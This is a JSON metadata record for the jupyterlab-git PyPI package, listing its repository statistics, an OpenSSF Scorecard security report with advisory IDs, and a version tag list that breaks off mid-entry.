{"id":2776439,"name":"jupyterlab-git","ecosystem":"pypi","description":"A JupyterLab extension for version control using git","homepage":"https://github.com/jupyterlab/jupyterlab-git","licenses":"BSD License","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/jupyterlab/jupyterlab-git","keywords_array":[],"namespace":null,"versions_count":88,"first_release_published_at":"2018-07-30T17:16:42.000Z","latest_release_published_at":"2026-08-03T12:58:49.000Z","latest_release_number":"0.54.1","last_synced_at":"2026-08-20T10:18:07.311Z","created_at":"2022-04-10T11:23:27.857Z","updated_at":"2026-08-20T14:23:46.277Z","registry_url":"https://pypi.org/project/jupyterlab-git/","install_command":"pip install jupyterlab-git --index-url https://pypi.org/simple","documentation_url":"https://jupyterlab-git.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Framework :: Jupyter","Framework :: Jupyter :: JupyterLab","Framework :: Jupyter :: JupyterLab :: 4","Framework :: Jupyter :: JupyterLab :: Extensions","Framework :: Jupyter :: JupyterLab :: Extensions :: Prebuilt","License :: OSI Approved :: BSD License","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14"],"normalized_name":"jupyterlab-git","project_status":null},"repo_metadata":{"id":38240374,"uuid":"94917848","full_name":"jupyterlab/jupyterlab-git","owner":"jupyterlab","description":"A Git extension for JupyterLab","archived":false,"fork":false,"pushed_at":"2026-08-17T06:16:54.000Z","size":37702,"stargazers_count":1609,"open_issues_count":141,"forks_count":411,"subscribers_count":42,"default_branch":"main","last_synced_at":"2026-08-20T11:18:53.819Z","etag":null,"topics":["git","jupyterlab","jupyterlab-extension"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jupyterlab.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"custom":"https://jupyter.org/about#donate"}},"created_at":"2017-06-20T17:31:00.000Z","updated_at":"2026-08-19T00:27:34.000Z","dependencies_parsed_at":"2026-03-30T16:04:30.243Z","dependency_job_id":null,"html_url":"https://github.com/jupyterlab/jupyterlab-git","commit_stats":{"total_commits":1533,"total_committers":106,"mean_commits":"14.462264150943396","dds":0.8408349641226354,"last_synced_commit":"771e739089b550e924eac8b0eabf3b870ac62212"},"previous_names":[],"tags_count":92,"template":false,"template_full_name":null,"purl":"pkg:github/jupyterlab/jupyterlab-git","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jupyterlab","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/sbom","scorecard":{"id":543207,"data":{"date":"2025-08-11","repo":{"name":"github.com/jupyterlab/jupyterlab-git","commit":"c5585fdbb1c0107a719a942d0c77d913fa4ef600"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.2,"checks":[{"name":"Code-Review","score":4,"reason":"Found 7/15 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":6,"reason":"6 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/prep-release.yml:30","Warn: no topLevel permission defined: .github/workflows/binder-on-pr.yml:1","Warn: no topLevel permission defined: .github/workflows/build.yml:1","Warn: no topLevel permission defined: .github/workflows/check-release.yml:1","Warn: no topLevel permission defined: .github/workflows/enforce-label.yml:1","Warn: no topLevel permission defined: .github/workflows/prep-release.yml:1","Warn: no topLevel permission defined: .github/workflows/publish-release.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/update-integration-tests.yml:8"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.51.2 not signed: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/224928710","Warn: release artifact v0.51.1 not signed: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/210149006","Warn: release artifact v0.51.0 not signed: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/199484936","Warn: release artifact v0.50.2 not signed: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/182502719","Warn: release artifact v0.50.1 not signed: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/156017231","Warn: release artifact v0.51.2 does not have provenance: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/224928710","Warn: release artifact v0.51.1 does not have provenance: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/210149006","Warn: release artifact v0.51.0 does not have provenance: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/199484936","Warn: release artifact v0.50.2 does not have provenance: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/182502719","Warn: release artifact v0.50.1 does not have provenance: https://api.github.com/repos/jupyterlab/jupyterlab-git/releases/156017231"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: github.com/jupyterlab/.github/SECURITY.md:1","Info: Found linked content: github.com/jupyterlab/.github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: github.com/jupyterlab/.github/SECURITY.md:1","Info: Found text in security policy: github.com/jupyterlab/.github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/binder-on-pr.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/binder-on-pr.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:111: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:168: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:64: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check-release.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/check-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/check-release.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/check-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/check-release.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/check-release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check-release.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/check-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/enforce-label.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/enforce-label.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/prep-release.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/prep-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/prep-release.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/prep-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish-release.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/publish-release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish-release.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/publish-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish-release.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/publish-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish-release.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/publish-release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/update-integration-tests.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/update-integration-tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-integration-tests.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/update-integration-tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-integration-tests.yml:82: update your workflow using https://app.stepsecurity.io/secureworkflow/jupyterlab/jupyterlab-git/update-integration-tests.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:27","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:42","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:59","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:91","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/update-integration-tests.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/update-integration-tests.yml:80","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  15 third-party GitHubAction dependencies pinned","Info:   0 out of   7 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 25 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":1,"reason":"9 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-7fh5-64p2-3v2j","Warn: Project is vulnerable to: GHSA-rm97-x556-q36h","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-67hx-6x53-jw92","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-20T08:45:37.195Z","repository_id":38240374,"created_at":"2025-08-20T08:45:37.196Z","updated_at":"2025-08-20T08:45:37.196Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36791758,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jupyterlab","name":"JupyterLab","uuid":"22800682","kind":"organization","description":"JupyterLab: The Next Generation UI for Project Jupyter","email":"project.jupyter@gmail.com","website":"https://jupyter.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22800682?v=4","repositories_count":63,"last_synced_at":"2024-04-14T17:14:51.742Z","metadata":{"has_sponsors_listing":false,"funding":{"custom":"https://jupyter.org/about#donate"}},"html_url":"https://github.com/jupyterlab","funding_links":["https://jupyter.org/about#donate"],"total_stars":28077,"followers":845,"following":0,"created_at":"2022-11-02T16:23:12.150Z","updated_at":"2024-04-14T17:15:11.176Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jupyterlab","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jupyterlab/repositories"},"tags":[{"name":"v0.54.0","sha":"ccbf077d2149c6b2ed35eae8a7123ae129c022aa","kind":"tag","published_at":"2026-06-17T07:26:24.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.54.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0/manifests"},{"name":"v0.54.0a1","sha":"8443bd53fda3507307411d9308227ef7abe6ee50","kind":"tag","published_at":"2026-05-21T14:35:14.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.54.0a1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.54.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.54.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0a1/manifests"},{"name":"v0.54.0a0","sha":"dda0e475854d275e1480382ba0bb058819dd7c6b","kind":"tag","published_at":"2026-05-19T06:32:11.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.54.0a0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.54.0a0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.54.0a0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0a0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.54.0a0/manifests"},{"name":"v0.53.0","sha":"d591959237888c4509f973bce33c6939d9466d55","kind":"tag","published_at":"2026-04-30T07:35:09.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.53.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0/manifests"},{"name":"v0.53.0a1","sha":"fd747f304b86cc3a293d2c1664b26711f839eaf8","kind":"tag","published_at":"2026-04-27T11:54:00.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.53.0a1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.53.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.53.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0a1/manifests"},{"name":"v0.53.0a0","sha":"7f87ec54bbd8b44ad6f9dc6edf248f0cb7007ef9","kind":"tag","published_at":"2026-04-27T11:35:30.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.53.0a0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.53.0a0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.53.0a0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0a0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.53.0a0/manifests"},{"name":"v0.52.0","sha":"db7735678cb9a44c0230c0461da0ea1d6f97cfab","kind":"tag","published_at":"2026-03-02T13:26:49.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.52.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.52.0/manifests"},{"name":"v0.51.4","sha":"d70223b95e0c797071e256b5a3828c4c03a69de4","kind":"tag","published_at":"2026-01-05T08:09:51.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.51.4","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.51.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.51.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.4/manifests"},{"name":"v0.51.3","sha":"bb35230c9412424d4567d2f1436e0fd9eab9c1d7","kind":"tag","published_at":"2025-12-10T09:24:01.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.51.3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.51.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.51.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.3/manifests"},{"name":"v0.51.2","sha":"c5585fdbb1c0107a719a942d0c77d913fa4ef600","kind":"tag","published_at":"2025-06-12T14:44:20.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.51.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.51.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.51.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.2/manifests"},{"name":"v0.51.1","sha":"5b5678bfdcd592d7220b869be68a56cecfa44e8b","kind":"tag","published_at":"2025-04-03T16:04:32.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.51.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.51.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.51.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.1/manifests"},{"name":"v0.51.0","sha":"7eb3b06f0092223bd5494688ec264527bbeb2195","kind":"tag","published_at":"2025-02-10T22:17:05.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.51.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.51.0/manifests"},{"name":"v0.50.2","sha":"79f42713ef99f59698048b9259a17789cee5ff73","kind":"tag","published_at":"2024-10-29T15:42:52.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.2/manifests"},{"name":"v0.50.1","sha":"b0bd68abc7331b19c8ebadbc60db4332a0940460","kind":"tag","published_at":"2024-05-16T07:39:45.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.1/manifests"},{"name":"v0.50.0","sha":"7a04d99d10478be3f6104431705742046a618e1b","kind":"tag","published_at":"2023-11-21T14:38:31.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0/manifests"},{"name":"v0.50.0rc0","sha":"a6c151b9f3a0f88335af5cb2f9d878ebcf29678e","kind":"tag","published_at":"2023-11-07T07:56:46.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.0rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.0r